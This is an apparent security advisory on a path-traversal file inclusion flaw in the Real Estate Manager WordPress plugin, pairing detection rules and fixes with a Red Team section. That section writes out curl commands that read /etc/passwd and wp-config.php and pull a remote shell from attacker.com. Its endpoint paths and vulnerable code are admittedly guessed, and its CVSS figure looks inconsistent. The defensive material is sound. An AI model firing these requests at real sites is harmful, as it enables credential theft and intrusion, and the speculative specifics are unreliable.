CVE-2025-32668

Executive Summary

CVE-2025-32668 is a critical PHP Local File Inclusion (LFI) vulnerability in the Real Estate Manager WordPress plugin (versions <= 7.3) by Rameez Iqbal. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score is 8.1 (High), and no official patch is currently available. This is a WordPress ecosystem issue and does not involve Apache or Nginx misconfigurations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not managed via NPM, PyPI, Go, or Ruby, but the risk is similar: an unpatched third-party component in a web application supply chain. Organizations should inventory all WordPress plugins and prioritize updates or removal of this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – Cannot modify files directly.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High. The low complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability exists in the real-estate-manager plugin's PHP code, likely in a function that handles template loading or file inclusion. The plugin fails to sanitize or validate user-supplied input used in a PHP include() or require() statement. An attacker can manipulate a parameter (e.g., page, template, or file) to traverse directories and include arbitrary files.

Example vulnerable code pattern:

$file = $_GET['template'];
include( $file . '.php' );

By sending a request like:

GET /wp-content/plugins/real-estate-manager/some-page.php?template=../../../../wp-config

The plugin would attempt to include ../../../../wp-config.php, revealing the database credentials.

The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), but in this case it is a Local File Inclusion (LFI) because the attacker is limited to files on the same server. However, if the server allows remote file inclusion via allow_url_include, it could escalate to RFI.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (hypothetical):

<?php
$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
?>

Patched Code (recommended):

<?php
$allowed_templates = array( 'list', 'detail', 'search' );
$template = sanitize_file_name( $_GET['template'] );
if ( in_array( $template, $allowed_templates ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Default template or error
    include( plugin_dir_path( __FILE__ ) . 'templates/list.php' );
}
?>

The fix involves:

1. Using a whitelist of allowed template names.
2. Sanitizing the input with sanitize_file_name().
3. Validating the input against the whitelist before inclusion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with Real Estate Manager plugin version <= 7.3.
• Knowledge of the vulnerable parameter (e.g., template, page, file).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web fuzzer or manual inspection to find parameters that load templates. Common patterns:

   • /wp-content/plugins/real-estate-manager/templates/display.php?template=...
   • /wp-content/plugins/real-estate-manager/includes/load.php?file=...

2. Test for LFI:

   curl -v "http://target/wp-content/plugins/real-estate-manager/templates/display.php?template=../../../../../../etc/passwd"
   

   If successful, the response will contain the contents of /etc/passwd.

3. Read sensitive files:

   curl "http://target/wp-content/plugins/real-estate-manager/templates/display.php?template=../../../../wp-config"
   

   This will reveal database credentials.

4. Attempt RCE (if allow_url_include is enabled):

   curl "http://target/wp-content/plugins/real-estate-manager/templates/display.php?template=http://attacker.com/shell.txt"
   

   This would include a remote PHP shell.

Lab Setup:

• Use Docker to spin up a vulnerable WordPress instance:

  docker run -d --name wp-vuln -p 8080:80 wordpress:latest
  

• Install the Real Estate Manager plugin version 7.3 manually.
• Access http://localhost:8080 and test the exploit.

Blue Team

Detection:

• Monitor web server logs for suspicious ../ patterns in GET parameters.
• Look for requests to plugin files with unexpected parameters.
• Alert on attempts to read sensitive files like wp-config.php, /etc/passwd, or /proc/self/environ.

Hunting:

• Search for requests containing real-estate-manager and path traversal sequences.
• Use the Sigma rule provided in the Detection Engineering section.

Containment:

• Immediately disable or remove the Real Estate Manager plugin.
• If removal is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• File paths accessed:

  • /etc/passwd
  • /etc/shadow
  • /wp-config.php
  • /proc/self/environ
  • Any file outside the web root.

• URL patterns:

  • */wp-content/plugins/real-estate-manager/*?template=*
  • */wp-content/plugins/real-estate-manager/*?file=*
  • Parameters containing ../ or ..%2f.

• Log entries:

  • HTTP 200 responses to requests with path traversal sequences.
  • Unusual file inclusion errors in PHP error logs.

Detection Engineering

YARA Rule

rule CVE_2025_32668_LFI_RealEstateManager {
    meta:
        description = "Detects LFI attempts against Real Estate Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32668"
    strings:
        $path_traversal = /\.\.(\/|%2f)/ nocase
        $plugin_path = /real-estate-manager/i
        $sensitive_file = /(wp-config|etc\/passwd|etc\/shadow|proc\/self)/i
    condition:
        $plugin_path and $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2025-32668 LFI Attempt on Real Estate Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting the Real Estate Manager WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'real-estate-manager'
            - 'template='
            - 'file='
        cs-uri-query|re: '\.\.(\/|%2f)'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in plugin (unlikely)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-32668 - Real Estate Manager LFI Attempt";
    flow:to_server,established;
    content:"real-estate-manager"; http_uri; nocase;
    content:"../"; http_uri; distance:0;
    pcre:"/\.\.(\/|%2f)/i";
    reference:cve,2025-32668;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the plugin until a patch is released.
2. Implement a WAF rule to block requests containing ../ in parameters associated with the plugin.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• The vendor (Rameez Iqbal) must release a patched version that implements input validation and whitelisting.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following to .htaccess (if using Apache) to block path traversal:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f) [NC]
  RewriteRule ^wp-content/plugins/real-estate-manager/ - [F,L]
  

• For Nginx, add:

  location ~ ^/wp-content/plugins/real-estate-manager/ {
      if ($args ~ "\.\.(\/|%2f)") {
          return 403;
      }
  }
  

Valters IT – Securing your digital frontier.